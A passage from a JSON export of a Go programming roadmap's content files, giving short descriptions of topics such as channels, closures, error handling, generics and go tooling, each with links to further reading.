    "content": "# Channels\n\nPrimary mechanism for goroutine communication following \"share memory by communicating\" principle. Typed conduits created with `make()`. Come in buffered and unbuffered varieties. Used for synchronization, data passing, and coordinating concurrent operations. Essential for concurrent programming.\n\nVisit the following resources to learn more:\n\n- [@official@Channels in Golang](https://golangdocs.com/channels-in-golang)\n- [@article@Concurrency in Go: Channels and WaitGroups](https://medium.com/goturkiye/concurrency-in-go-channels-and-waitgroups-25dd43064d1)\n- [@article@Go Channels Explained: More than Just a Beginner's Guide](https://blog.devtrovert.com/p/go-channels-explained-more-than-just)"
  },
  {
    "path": "src/data/roadmaps/golang/content/closures@ZSiNvYDTW2RYyPttls5iz.md",
    "content": "# Closures\n\nFunctions capturing variables from surrounding scope, accessible even after outer function returns. \"Close over\" external variables for specialized functions, callbacks, state maintenance. Useful for event handling, iterators, functional programming. Important for flexible, reusable code.\n\nVisit the following resources to learn more:\n\n- [@official@Closures in Golang](https://go.dev/tour/moretypes/25)\n- [@article@Understanding Closures in Go](https://code101.medium.com/understanding-closures-in-go-encapsulating-state-and-behaviour-558ac3617671)"
  },
  {
    "path": "src/data/roadmaps/golang/content/cobra@3frPZLeFXnHroY7_Uk5Dn.md",
    "content": "# Cobra\n\nPowerful library for modern CLI applications. Used by kubectl, Hugo, GitHub CLI. Provides nested subcommands, flags, intelligent suggestions, auto help generation, shell completion. Follows POSIX standards with clean API. Includes command generator for quick bootstrapping.\n\nVisit the following resources to learn more:\n\n- [@official@Cobra](https://cobra.dev/)\n- [@article@How To Use the Cobra Package in Go](https://www.digitalocean.com/community/tutorials/how-to-use-the-cobra-package-in-go)\n- [@article@Getting Started with Cobra](https://dev.to/frasnym/getting-started-with-cobra-creating-multi-level-command-line-interfaces-in-golang-2j3k)"
  },
  {
    "path": "src/data/roadmaps/golang/content/code-generation--build-tags@build-system.md",
    "content": "# Code Generation / Build Tags\n\nCode generation with `go generate` automates boilerplate creation, while build tags enable conditional compilation for different platforms and environments. These tools help create flexible, maintainable applications with platform-specific implementations and feature flags without runtime overhead.\n\nVisit the following resources to learn more:\n\n- [@official@Generate](https://go.dev/blog/generate)\n- [@article@How to Use Go Generate](https://blog.carlana.net/post/2016-11-27-how-to-use-go-generate/)\n- [@article@Introduction to go generate](https://hsleep.medium.com/introduction-to-go-generate-99a93f30dc35)"
  },
  {
    "path": "src/data/roadmaps/golang/content/code-quality-and-analysis@core-quality-tools.md",
    "content": "# Code Quality and Analysis\n\nGo provides tools for maintaining code quality including static analyzers, style checkers, and security scanners. Built-in tools like `go vet` provide basic analysis, while ecosystem tools like staticcheck and golangci-lint offer advanced checking for bugs, style, and security issues.\n\nVisit the following resources to learn more:\n\n- [@official@Go Vet](https://pkg.go.dev/cmd/vet)\n- [@article@Golang Static Code Analysis & Go Clean Code Tool](https://www.sonarsource.com/knowledge/languages/go/)\n- [@article@Improving Go Code Quality](https://medium.com/@kanishksinghpujari/improving-go-code-quality-refactoring-code-reviews-and-static-analysis-083ca108e41d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/comma-ok-idiom@dMdOz2kUc8If3LcLZEfYf.md",
    "content": "# Comma-Ok Idiom\n\nPattern for safely testing map key existence or type assertion success using `value, ok := map[key]` or `value, ok := interface.(Type)`. Returns both value and boolean status, preventing panics and distinguishing zero values from missing keys.\n\nVisit the following resources to learn more:\n\n- [@article@The Comma Ok Idiom](https://dev.to/saurabh975/comma-ok-in-go-l4f)\n- [@article@How the Comma Ok Idiom and Package System Work in Go](https://www.freecodecamp.org/news/how-the-comma-ok-idiom-and-package-system-work-in-go/)\n- [@article@Statement Idioms in Go](https://medium.com/@nateogbonna/statement-idioms-in-go-writing-clean-idiomatic-go-code-6fe92e6e8ab4)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/commands--docs@ywiNCAAvpSVXTwWwguxSZ.md",
    "content": "# Commands & Docs\n\nGo provides built-in documentation tools including `go doc` for terminal documentation and `godoc` for web interface. Documentation uses special comments. `go help` provides command information. Essential for exploring standard library and writing well-documented code.\n\nVisit the following resources to learn more:\n\n- [@article@A Guide to Effective Go Documentation](https://nirdoshgautam.medium.com/a-guide-to-effective-go-documentation-952f346d073f)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/common-usecases@gChqUzY3SbPJH0H0jcoAp.md",
    "content": "# Common Usecases\n\nContext package common uses: HTTP timeouts, database deadlines, goroutine cancellation coordination, and request-scoped values. Essential for web servers, microservices, circuit breakers, and building responsive APIs that handle cancellation gracefully.\n\nVisit the following resources to learn more:\n\n- [@official@Use Cases](https://go.dev/solutions/use-cases)\n- [@article@The Versatility of Go: Ideal Use Cases for the Golang Programming](https://dev.to/adityabhuyan/the-versatility-of-go-ideal-use-cases-for-the-golang-programming-language-7co)"
  },
  {
    "path": "src/data/roadmaps/golang/content/compiler--linker-flags@xsjUeyxweN2GbcjknDjT8.md",
    "content": "# Compiler & Linker Flags\n\nBuild flags control compilation and linking. Common flags include `-ldflags` for linker options, `-gcflags` for compiler settings, `-tags` for build tags, and `-race` for race detection. Help optimize builds, reduce binary size, and embed build information.\n\nVisit the following resources to learn more:\n\n- [@official@Flag Package](https://pkg.go.dev/flag)\n- [@article@Leveraging Compiler Optimization Flags](https://goperf.dev/01-common-patterns/comp-flags/o)\n- [@article@Compiler Optimization Flags](https://diginode.in/go/compiler-optimization-flags/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/complex-numbers@Mn-M7kxOKEublJGitgjNA.md",
    "content": "# Complex Numbers\n\nBuilt-in support with `complex64` and `complex128` types. Create using `complex()` function or literals like `3+4i`. Provides `real()`, `imag()`, `abs()` functions. Useful for mathematical computations, signal processing, and scientific applications.\n\nVisit the following resources to learn more:\n\n- [@official@Complex Numbers](https://go.dev/ref/spec)\n- [@article@Complex Numbers in Golang](https://golangdocs.com/complex-numbers-in-golang)\n- [@article@Complex Data Types in Golang](https://dev.to/diwakarkashyap/complex-data-types-in-golang-go-328l)"
  },
  {
    "path": "src/data/roadmaps/golang/content/concurrency-patterns@2yKVKaCXrcv5X4o2d6oqm.md",
    "content": "# Concurrency Patterns\n\nEstablished design approaches for structuring concurrent programs using goroutines and channels. Key patterns: fan-in (merging inputs), fan-out (distributing work), pipelines (chaining operations), worker pools, pub-sub communication. Help build efficient, scalable apps while avoiding race conditions and deadlocks.\n\nVisit the following resources to learn more:\n\n- [@official@Go Concurrency Patterns: Pipelines and Cancellation](https://go.dev/blog/pipelines)\n- [@article@Go Concurrency Patterns: A Deep Dive](https://medium.com/@gopinathr143/go-concurrency-patterns-a-deep-dive-a2750f98a102)\n- [@article@Mastering Concurrency in Go](https://dev.to/santoshanand/mastering-concurrency-in-go-a-comprehensive-guide-5chi)"
  },
  {
    "path": "src/data/roadmaps/golang/content/conditionals@C7wzT161ytHsCpO2zfmXo.md",
    "content": "# Conditionals\n\nControl program flow based on conditions. `if` for basic logic, `if-else` for binary decisions, `switch` for multiple conditions. `if` supports optional initialization, no parentheses needed but braces required. `switch` supports expressions, type switches, fallthrough. Fundamental for business logic.\n\nVisit the following resources to learn more:\n\n- [@official@Flow Control](https://go.dev/tour/flowcontrol/6)\n- [@article@How To Write Conditional Statements in Go](https://www.digitalocean.com/community/tutorials/how-to-write-conditional-statements-in-go)\n- [@article@How to handle conditional logic in Go](https://labex.io/tutorials/go-how-to-handle-conditional-logic-in-go-418319)"
  },
  {
    "path": "src/data/roadmaps/golang/content/const-and-iota@-M-qrXwVt7HfJv0CSRNGS.md",
    "content": "# const and iota\n\nConstants declared with `const` represent unchanging compile-time values. `iota` creates successive integer constants starting from zero, resetting per `const` block. Useful for enumerations, bit flags, and constant sequences without manual values.\n\nVisit the following resources to learn more:\n\n- [@official@Iota](https://go.dev/wiki/Iota)\n- [@article@Constants](https://webreference.com/go/basics/constants/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/context-package@vxB3aGreqWBrNhiu8hcPE.md",
    "content": "# context package\n\nCarries deadlines, cancellation signals, and request-scoped values across API boundaries. Essential for robust concurrent applications, especially web services. Enables cancelling long-running operations, setting timeouts, passing request data. Typically first parameter passed down call stack.\n\nVisit the following resources to learn more:\n\n- [@official@Go Concurrency Patterns: Context](https://go.dev/blog/context)\n- [@article@The Complete Guide to Context in Golang](https://medium.com/@jamal.kaksouri/the-complete-guide-to-context-in-golang-efficient-concurrency-management-43d722f6eaea)"
  },
  {
    "path": "src/data/roadmaps/golang/content/continue@BRKryB5HawXyXeBWM4QqU.md",
    "content": "# continue\n\nSkips rest of current iteration and jumps to next loop iteration. Only affects innermost loop unless used with labels. Useful for filtering elements, handling special cases early, avoiding nested conditionals. Makes loops cleaner and more efficient.\n\nVisit the following resources to learn more:\n\n- [@article@Using Break and Continue Statements When Working with Loop](https://www.digitalocean.com/community/tutorials/using-break-and-continue-statements-when-working-with-loops-in-go)\n- [@article@Demystifying the Break and Continue Statements in Golang](https://medium.com/@kiruu1238/break-continue-bc35e9f3802d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/coverage@27lhNAdKwRrc2S2ha3QNG.md",
    "content": "# Coverage\n\nTest coverage measures code execution during testing using `go test -cover` and `-coverprofile`. Visualize with `go tool cover -html` to identify untested code paths. Helps maintain quality standards and guide testing efforts for more reliable applications.\n\nVisit the following resources to learn more:\n\n- [@official@Coverage Profiling](https://go.dev/doc/build-cover)\n- [@article@A Beginner's Guide to Code Coverage for Go Integration Tests](https://hackernoon.com/a-beginners-guide-to-code-coverage-for-go-integration-tests)"
  },
  {
    "path": "src/data/roadmaps/golang/content/cross-compilation@mvcWcecHA_jyQY1txFgL_.md",
    "content": "# Cross-compilation\n\nBuild executables for different OS and architectures using `GOOS` and `GOARCH` environment variables. Example: `GOOS=linux GOARCH=amd64 go build` creates Linux binaries. Enables multi-platform development without separate build environments.\n\nVisit the following resources to learn more:\n\n- [@official@GccgoCrossCompilation](https://go.dev/wiki/GccgoCrossCompilation)\n- [@article@Cross-compiling made easy with Golang](https://medium.com/@keployio/understanding-go-coverage-a-guide-to-test-coverage-in-go-0c6e5ac8ba81)"
  },
  {
    "path": "src/data/roadmaps/golang/content/data-types@0FJxELyk7_IiVHvZFFVm2.md",
    "content": "# Data Types\n\nRich set of built-in types: integers (int8-64), unsigned integers (uint8-64), floats (float32/64), complex numbers, booleans, strings, runes. Statically typed - types determined at compile time for early error detection and performance. Crucial for efficient, reliable programs.\n\nVisit the following resources to learn more:\n\n- [@official@Go Basics](https://go.dev/tour/basics/11)\n- [@article@Basic Data Types in Go](https://golangbot.com/types/)\n- [@article@Understanding Data Types in Go](https://www.digitalocean.com/community/tutorials/understanding-data-types-in-go)"
  },
  {
    "path": "src/data/roadmaps/golang/content/deadlines--cancellations@p5u2tWRmRtyfBgKcSUHFU.md",
    "content": "# Deadlines & Cancellations\n\nContext package mechanisms for controlling operation lifetime and propagating cancellation signals. Supports deadlines (absolute time) or timeouts (duration). Functions should check `ctx.Done()` and return early when cancelled. Essential for robust concurrent applications.\n\nVisit the following resources to learn more:\n\n- [@official@Canceling in-progress Operations](https://go.dev/doc/database/cancel-operations)\n- [@article@Understanding Golang Context: Cancellation, Timeouts](https://webdevstation.com/posts/understanding-golang-context/)\n- [@article@Understanding Context in Golang](https://medium.com/better-programming/understanding-context-in-golang-7f574d9d94e0)\n- [@article@How to use the context.Done() method in Go](https://dev.to/mcaci/how-to-use-the-context-done-method-in-go-22me)"
  },
  {
    "path": "src/data/roadmaps/golang/content/deployment--tooling@deploy-optimize.md",
    "content": "# Deployment & Tooling\n\nGo deployment focuses on building optimized binaries for production. Static compilation creates self-contained executables, while cross-compilation builds for multiple platforms. Key aspects include containerization, configuration management, monitoring, and binary optimization for efficient production deployments.\n\nVisit the following resources to learn more:\n\n- [@article@An overview of Go's tooling](https://www.alexedwards.net/blog/an-overview-of-go-tooling)\n- [@article@Deploying Go Applications](https://medium.com/@teja.ravi474/deploying-go-applications-63219d187795)"
  },
  {
    "path": "src/data/roadmaps/golang/content/echo@1qhqEYf6wYf5sfXgTUnmi.md",
    "content": "# echo\n\nHigh-performance, minimalist web framework focusing on ease and speed. Provides routing, middleware, data binding, validation, rendering. Features automatic TLS, HTTP/2, WebSocket support. Built-in middleware for CORS, JWT, logging, compression. Popular for RESTful APIs and microservices.\n\nVisit the following resources to learn more:\n\n- [@official@High Performance, Extensible, Minimalist Go Web framework](https://echo.labstack.com/)\n- [@official@Echo Documentation](https://echo.labstack.com/docs)\n- [@article@Best Practices for Structuring Scalable Golang APIs with Echo](https://medium.com/@OTS415/structuring-golang-echo-apis-8d657de5dc7c)"
  },
  {
    "path": "src/data/roadmaps/golang/content/embedding-interfaces@wK7GNTbOsMNs0N_1N4-dU.md",
    "content": "# Embedding Interfaces\n\nCreate new interfaces by combining existing ones, promoting composition and reusability. Embedded interface methods automatically included. Enables interface hierarchies from simpler, focused interfaces. Supports composition over inheritance for modular, extensible systems.\n\nVisit the following resources to learn more:\n\n- [@article@Struct Embedding](https://gobyexample.com/struct-embedding)\n- [@article@Interfaces and Embedding in Golang (Go)](https://dev.to/diwakarkashyap/interfaces-and-embedding-in-golang-go-2em4)"
  },
  {
    "path": "src/data/roadmaps/golang/content/embedding-structs@XLj16RmCe4-nKHW52Ebhf.md",
    "content": "# Embedding Structs\n\nStruct embedding includes one struct inside another without field names, making embedded fields directly accessible. Provides composition-based design following Go's philosophy of composition over inheritance. Enables flexible, reusable components.\n\nVisit the following resources to learn more:\n\n- [@article@Struct Embedding](https://gobyexample.com/struct-embedding)\n- [@article@Interfaces and Embedding in Golang (Go)](https://dev.to/diwakarkashyap/interfaces-and-embedding-in-golang-go-2em4)"
  },
  {
    "path": "src/data/roadmaps/golang/content/empty-interfaces@ueJ7ndK2SKniDVjN2aUlO.md",
    "content": "# Empty Interface\n\nThe empty interface `interface{}` can hold values of any type since every type implements at least zero methods. Used for generic programming before Go 1.18 generics. Requires type assertions or type switches to access underlying values. Common in APIs handling unknown data types.\n\nVisit the following resources to learn more:\n\n- [@article@Empty Interface](https://go.dev/tour/methods/14)\n- [@article@Understanding the empty interface in Go](https://dev.to/flrnd/understanding-the-empty-interface-in-go-4652)"
  },
  {
    "path": "src/data/roadmaps/golang/content/encodingjson@uB1fE15OprBcwN7p7ffJF.md",
    "content": "# Encoding / JSON\n\nThis package provides robust and efficient functionalities for marshaling (encoding) Go data structures into JSON and unmarshaling (decoding) JSON into Go data structures. This process is largely handled through the json.Marshal and json.Unmarshal functions. For a Go struct to be properly encoded or decoded, its fields must be exported (start with an uppercase letter). Developers can control the JSON field names and omit empty fields using struct tags like json:\"fieldName,omitempty\".\n\nVisit the following resources to learn more:\n\n- [@official@Empty Interface](https://go.dev/tour/methods/14)\n- [@article@Understanding the empty interface in Go](https://dev.to/flrnd/understanding-the-empty-interface-in-go-4652)"
  },
  {
    "path": "src/data/roadmaps/golang/content/error-handling-basics@7EKUfKx7_7lZOs3d84iyL.md",
    "content": "# Error Handling Basics\n\nGo uses explicit error handling with error return values. Functions return error as last value. Check `if err != nil` pattern. Create errors with `errors.New()` or `fmt.Errorf()`. No exceptions - errors are values to be handled explicitly.\n\nVisit the following resources to learn more:\n\n- [@official@Error Handling and Go](https://go.dev/blog/error-handling-and-go)\n- [@article@Mastering Error Handling in Go: A Comprehensive Guide](https://medium.com/hprog99/mastering-error-handling-in-go-a-comprehensive-guide-fac34079833f)\n- [@article@Errors and Exception Handling in Golang](https://golangdocs.com/errors-exception-handling-in-golang)"
  },
  {
    "path": "src/data/roadmaps/golang/content/error-interface@0mMP6QR0V-Zi25njD1TFT.md",
    "content": "# error interface\n\nBuilt-in interface with single `Error() string` method. Any type implementing this method can represent an error. Central to Go's error handling philosophy, providing consistent error representation across all Go code. Fundamental for effective error handling.\n\nVisit the following resources to learn more:\n\n- [@official@Error Handling and Go](https://go.dev/blog/error-handling-and-go)\n- [@article@The Error Interface](https://golang.ntxm.org/docs/error-handling-in-go/the-error-interface/)\n- [@article@Mastering Error Handling in Go: A Comprehensive Guide](https://medium.com/hprog99/mastering-error-handling-in-go-a-comprehensive-guide-fac34079833f)\n- [@article@Errors and Exception Handling in Golang](https://golangdocs.com/errors-exception-handling-in-golang)"
  },
  {
    "path": "src/data/roadmaps/golang/content/errorsnew@dHk6Y0zFqxtCuDiQcHQsi.md",
    "content": "# errors.New\n\nSimplest way to create error values by taking a string message and returning an error implementing the error interface. Useful for simple, static error messages. Often combined with error wrapping or used for predefined error constants.\n\nVisit the following resources to learn more:\n\n- [@official@Error Handling and Go](https://go.dev/blog/error-handling-and-go)\n- [@article@The Error Interface](https://golang.ntxm.org/docs/error-handling-in-go/the-error-interface/)\n- [@article@Mastering Error Handling in Go: A Comprehensive Guide](https://medium.com/hprog99/mastering-error-handling-in-go-a-comprehensive-guide-fac34079833f)\n- [@article@Creating Custom Errors in Go](https://www.digitalocean.com/community/tutorials/creating-custom-errors-in-go)"
  },
  {
    "path": "src/data/roadmaps/golang/content/escape-analysis@ixoXVtRlrvTittqQq-Bgo.md",
    "content": "# Escape Analysis\n\nCompile-time optimization determining whether variables are allocated on stack (fast) or heap (GC required). Variables that \"escape\" their scope need heap allocation. Use `go build -gcflags=\"-m\"` to view decisions. Understanding helps minimize heap allocations and reduce GC pressure.\n\nVisit the following resources to learn more:\n\n- [@article@Escape Analysis in Go: Stack vs Heap Allocation Explained](https://dev.to/abstractmusa/escape-analysis-in-go-stack-vs-heap-allocation-explained-506a)\n- [@article@Escape Analysis in Golang](https://medium.com/@trinad536/escape-analysis-in-golang-fc81b78f3550)"
  },
  {
    "path": "src/data/roadmaps/golang/content/fan-in@8BrnnM7HM-bijbUDgnW49.md",
    "content": "# Fan-in\n\nConcurrency pattern merging multiple input channels into single output channel. Allows collecting results from multiple goroutines. Typically implemented with select statement or separate goroutines for each input. Useful for aggregating parallel processing results.\n\nVisit the following resources to learn more:\n\n- [@article@Fan Out Fan In Concurrency Pattern Explained](https://www.golinuxcloud.com/go-fan-out-fan-in/)\n- [@article@Golang Concurrency Patterns: Fan in, Fan out](https://medium.com/geekculture/golang-concurrency-patterns-fan-in-fan-out-1ee43c6830c4)"
  },
  {
    "path": "src/data/roadmaps/golang/content/fan-out@pN8EsuKUPDUKyskodu_sC.md",
    "content": "# Fan-out\n\nConcurrency pattern distributing work from single source to multiple workers. Typically uses one input channel feeding multiple goroutines. Each worker processes items independently. Useful for parallelizing CPU-intensive tasks and increasing throughput through parallel processing.\n\nVisit the following resources to learn more:\n\n- [@article@Fan Out Fan In Concurrency Pattern Explained](https://www.golinuxcloud.com/go-fan-out-fan-in/)\n- [@article@Golang Concurrency Patterns: Fan in, Fan out](https://medium.com/geekculture/golang-concurrency-patterns-fan-in-fan-out-1ee43c6830c4)"
  },
  {
    "path": "src/data/roadmaps/golang/content/fiber@5lJPsJwgy0_T7Xl6eQxuB.md",
    "content": "# fiber\n\nFiber is an Express-inspired web framework built on fasthttp for exceptional performance. Provides familiar API with middleware, routing, templates, and WebSocket support. Popular for high-performance REST APIs and microservices requiring speed and simplicity.\n\nVisit the following resources to learn more:\n\n- [@official@Fiber](https://gofiber.io/)\n- [@official@Fiber Documentation](https://docs.gofiber.io/)\n- [@opensource@gofiber/fiber](https://github.com/gofiber/fiber)\n- [@article@Fiber Framework in Golang](https://medium.com/@uzairahmed01/fiber-framework-in-golang-b5158499c9ad)\n- [@article@Go Fiber: Start Building RESTful APIs on Golang](https://dev.to/percoguru/getting-started-with-apis-in-golang-feat-fiber-and-gorm-2n34)"
  },
  {
    "path": "src/data/roadmaps/golang/content/flag@-8E79Ns4q-uAgcxtghPzf.md",
    "content": "# flag\n\nStandard library package for parsing command-line flags. Supports string, int, bool, duration flags with default values and descriptions. Automatically generates help text. Simple API for basic CLI argument parsing before using frameworks like Cobra.\n\nVisit the following resources to learn more:\n\n- [@official@Flag](https://go-language.org/go-docs/flag/)\n- [@article@How To Use the Flag Package](https://www.digitalocean.com/community/tutorials/how-to-use-the-flag-package-in-go)\n- [@article@Advanced Golang Flag Techniques](https://www.golinuxcloud.com/golang-flags-examples/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/floating-points@EzaH378F3kOdQbczhVjhA.md",
    "content": "# Floating Points\n\nTwo types: `float32` (single precision) and `float64` (double precision, default). Represent real numbers using IEEE 754 standard. Can introduce precision errors, not suitable for exact financial calculations. Essential for scientific computing and graphics.\n\nVisit the following resources to learn more:\n\n- [@official@Floating Points](https://golangdocs.com/floating-point-numbers-in-golang)\n- [@article@How to Perform Float Point Calculations](https://labex.io/tutorials/go-how-to-perform-float-point-calculations-419745)"
  },
  {
    "path": "src/data/roadmaps/golang/content/fmterrorf@LVaWjZfij6-z_uwkAc0MK.md",
    "content": "# fmt.Errorf\n\nCreates formatted error messages using printf-style verbs. Supports `%w` verb for error wrapping (Go 1.13+) to create error chains preserving original errors while adding context. Essential for descriptive errors with dynamic values and debugging information.\n\nVisit the following resources to learn more:\n\n- [@official@fmt](https://pkg.go.dev/fmt)\n- [@official@Error Handling and Go](https://go.dev/blog/error-handling-and-go)\n- [@article@Mastering Error Handling in Golang: The Power of fmt.Errorf ()](https://thelinuxcode.com/mastering-error-handling-in-golang-the-power-of-fmt-errorf/)\n- [@article@Understanding the fmt.Errorf Function in Golang](https://www.zetcode.com/golang/fmt-errorf/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/for-loop@ijS-b400c9BldRO6PlrC1.md",
    "content": "# for loop\n\nGo's only looping construct, incredibly flexible for all iteration needs. Classic form: initialization, condition, post statements. Omit components for different behaviors (infinite, while-like). Use with `break`, `continue`, labels for nested loops. `for range` for convenient collection iteration.\n\nVisit the following resources to learn more:\n\n- [@official@for](https://go.dev/tour/flowcontrol/1)\n- [@article@Learn for loops in Go with Examples](https://golangbot.com/loops/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/for-range@j0w6e8Pksh30PKDvXj3yk.md",
    "content": "# for-range\n\nSpecial form of for loop for iterating over arrays, slices, maps, strings, and channels. Returns index/key and value. For strings, returns rune index and rune value. For channels, returns only values. Use blank identifier `_` to ignore unwanted return values.\n\nVisit the following resources to learn more:\n\n- [@official@Range](https://go.dev/wiki/Range)\n- [@official@for](https://go.dev/tour/flowcontrol/1)\n- [@article@Select & For Range Channel in Go](https://blog.devtrovert.com/p/select-and-for-range-channel-i-bet)"
  },
  {
    "path": "src/data/roadmaps/golang/content/functions-basics@MBafBhpEV_7qgDNPOIBBs.md",
    "content": "# Function Basics\n\nReusable code blocks declared with `func` keyword. Support parameters, return values, multiple returns. First-class citizens - can be assigned to variables, passed as arguments. Fundamental building blocks for organizing code logic.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://go.dev/tour/basics/4)\n- [@article@Functions in Golang: Complete Guide with Examples](https://medium.com/backend-forge/functions-in-golang-complete-guide-with-examples-2025-e07db0f98fd3)"
  },
  {
    "path": "src/data/roadmaps/golang/content/functions@axhcEfCEoFkLey4AbA84A.md",
    "content": "# Functions\n\nFirst-class citizens in Go. Declared with `func` keyword, support parameters and return values. Can be assigned to variables, passed as arguments, returned from other functions. Support multiple return values, named returns, and variadic parameters. Building blocks of modular code.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://go.dev/tour/basics/4)\n- [@article@Functions in Golang: Complete Guide with Examples](https://medium.com/backend-forge/functions-in-golang-complete-guide-with-examples-2025-e07db0f98fd3)\n- [@article@Learn Go Functions](https://www.learn-golang.org/en/Functions)"
  },
  {
    "path": "src/data/roadmaps/golang/content/garbage-collection@GG0j6MNVudvITHEOXUxim.md",
    "content": "# Garbage Collection\n\nGo's GC automatically reclaims unreachable memory using concurrent, tri-color mark-and-sweep collector designed for minimal pause times. Runs concurrently with your program. Understanding GC helps write efficient programs that work well with automatic memory management.\n\nVisit the following resources to learn more:\n\n- [@official@Garbage Collections](https://tip.golang.org/doc/gc-guide)\n- [@article@Garbage Collection In Go](https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html)\n- [@article@Understanding Go's Garbage Collection](https://bwoff.medium.com/understanding-gos-garbage-collection-415a19cc485c)"
  },
  {
    "path": "src/data/roadmaps/golang/content/generic-functions@p7L4EUsjMnJlrbb-oDvlf.md",
    "content": "# Generic Functions\n\nWrite functions working with multiple types using type parameters in square brackets like `func FunctionName[T any](param T) T`. Enable reusable algorithms maintaining type safety. Particularly useful for utility functions and data processing that don't depend on specific types.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Functions](https://go.dev/doc/tutorial/generics)\n- [@article@Generic Functions Comprehensive Guide](https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html)"
  },
  {
    "path": "src/data/roadmaps/golang/content/generic-types--interfaces@eWZzradMaH57H4mI7Qw6n.md",
    "content": "# Generic Types / Interfaces\n\nCreate reusable data structures and interface definitions working with multiple types. Define with type parameters like `type Container[T any] struct { value T }`. Enable type-safe containers, generic slices, maps, and custom structures while maintaining Go's strong typing.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Functions](https://go.dev/doc/tutorial/generics)\n- [@article@Interfaces](https://golangdocs.com/interfaces-in-golang)\n- [@article@Understanding the Power of Go Interfaces](https://medium.com/@jamal.kaksouri/understanding-the-power-of-go-interfaces-a-comprehensive-guide-835954101b7e)"
  },
  {
    "path": "src/data/roadmaps/golang/content/generics@uEpTANOBHlFwCg5p44Lh0.md",
    "content": "# Generics\n\nIntroduced in Go 1.18, allow functions and types to work with different data types while maintaining type safety. Enable reusable code without sacrificing performance. Use type parameters (square brackets) and constraints. Reduce code duplication while preserving strong typing.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Functions](https://go.dev/doc/tutorial/generics)\n- [@article@Understanding Generics](https://blog.logrocket.com/understanding-generics-go-1-18/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/gin@xM1uUCXNrJwfTgi9E75KV.md",
    "content": "# gin\n\nPopular HTTP web framework emphasizing performance and productivity. Lightweight foundation for APIs/web services with minimal boilerplate. Fast routing, middleware, JSON validation, error management, built-in rendering. Clean API for RESTful services. Includes parameter binding, uploads, static files.\n\nVisit the following resources to learn more:\n\n- [@official@Gin Web Framework](https://gin-gonic.com/)\n- [@article@Building a RESTful API in Go Using the Gin Framework](https://medium.com/@godusan/building-a-restful-api-in-go-using-the-gin-framework-a-step-by-step-tutorial-part-1-2-70372ebfa988)\n- [@article@Developing a RESTful API with Go and Gin](https://go.dev/doc/tutorial/web-service-gin)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-build@LXqEJwGA_0cVUbF6DVwBG.md",
    "content": "# go build\n\nCompiles Go packages and dependencies into executable binaries. Supports cross-compilation for different OS/architectures via GOOS/GOARCH. Includes build constraints, custom flags, optimization levels. Produces statically linked binaries by default. Essential for deployment and distribution.\n\nVisit the following resources to learn more:\n\n- [@official@Compile and Install the Application](https://go.dev/doc/tutorial/compile-install)\n- [@article@How to Build and Run Go Programs](https://go-tutorial.com/build-and-run)\n- [@article@How To Build and Install Go Programs](https://www.digitalocean.com/community/tutorials/how-to-build-and-install-go-programs)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-clean@bxXzXM0zUm1vux1DKOLyf.md",
    "content": "# go clean\n\nRemoves object files and cached files from build process. Options include `-cache` for build cache and `-modcache` for module downloads. Useful for troubleshooting build issues, freeing disk space, and ensuring clean builds.\n\nVisit the following resources to learn more:\n\n- [@official@Clean](https://golang.google.cn/cmd/go/internal/clean/)\n- [@article@Make sure to clean your Go build cache](https://www.adityathebe.com/how-to-clean-go-build-cache/)\n- [@video@Golang Clean Architecture](https://www.youtube.com/watch?v=F5KLmp6aB5Q)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-command@_3_tFOpQisx6DSP4Yc2E2.md",
    "content": "# go command\n\nPrimary tool for managing Go source code with unified interface for compiling, testing, formatting, and managing dependencies. Includes subcommands like `build`, `run`, `test`, `fmt`, `mod`. Handles the entire development workflow automatically.\n\nVisit the following resources to learn more:\n\n- [@official@Command Documentation](https://go.dev/doc/cmd)\n- [@official@Go Package](https://pkg.go.dev/cmd/go)\n- [@official@Go Test](https://go.dev/doc/tutorial/add-a-test)\n- [@official@Compile and Install Application](https://go.dev/doc/tutorial/compile-install)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-doc@SoD0P5k4aSVRN96XxR5on.md",
    "content": "# go doc\n\nPrints documentation for Go packages, types, functions, and methods extracted from specially formatted comments. Use `go doc package` or `go doc package.Function` to view specific documentation. Essential for exploring APIs and verifying documentation formatting.\n\nVisit the following resources to learn more:\n\n- [@official@go doc](https://tip.golang.org/doc/comment)\n- [@official@go package](https://pkg.go.dev/cmd/go)\n- [@article@Documenting Your Go Code with go doc](https://go-cookbook.com/snippets/tools/go-doc)\n- [@official@Godoc: Documenting Go Code](https://go.dev/blog/godoc)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-fmt@CPFiclXXVQCsbooA0iCEy.md",
    "content": "# go fmt\n\nAutomatically formats Go source code according to official style guidelines. Standardizes indentation, spacing, alignment for consistent code style. Opinionated and non-configurable, eliminating formatting debates. Essential for clean, readable, community-standard code.\n\nVisit the following resources to learn more:\n\n- [@official@go fmt](https://go.dev/blog/gofmt)\n- [@official@fmt package](https://pkg.go.dev/fmt)\n- [@article@go fmt Command Examples](https://www.thegeekdiary.com/go-fmt-command-examples/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-generate@TstTkc_-2RZMOqtSIklEM.md",
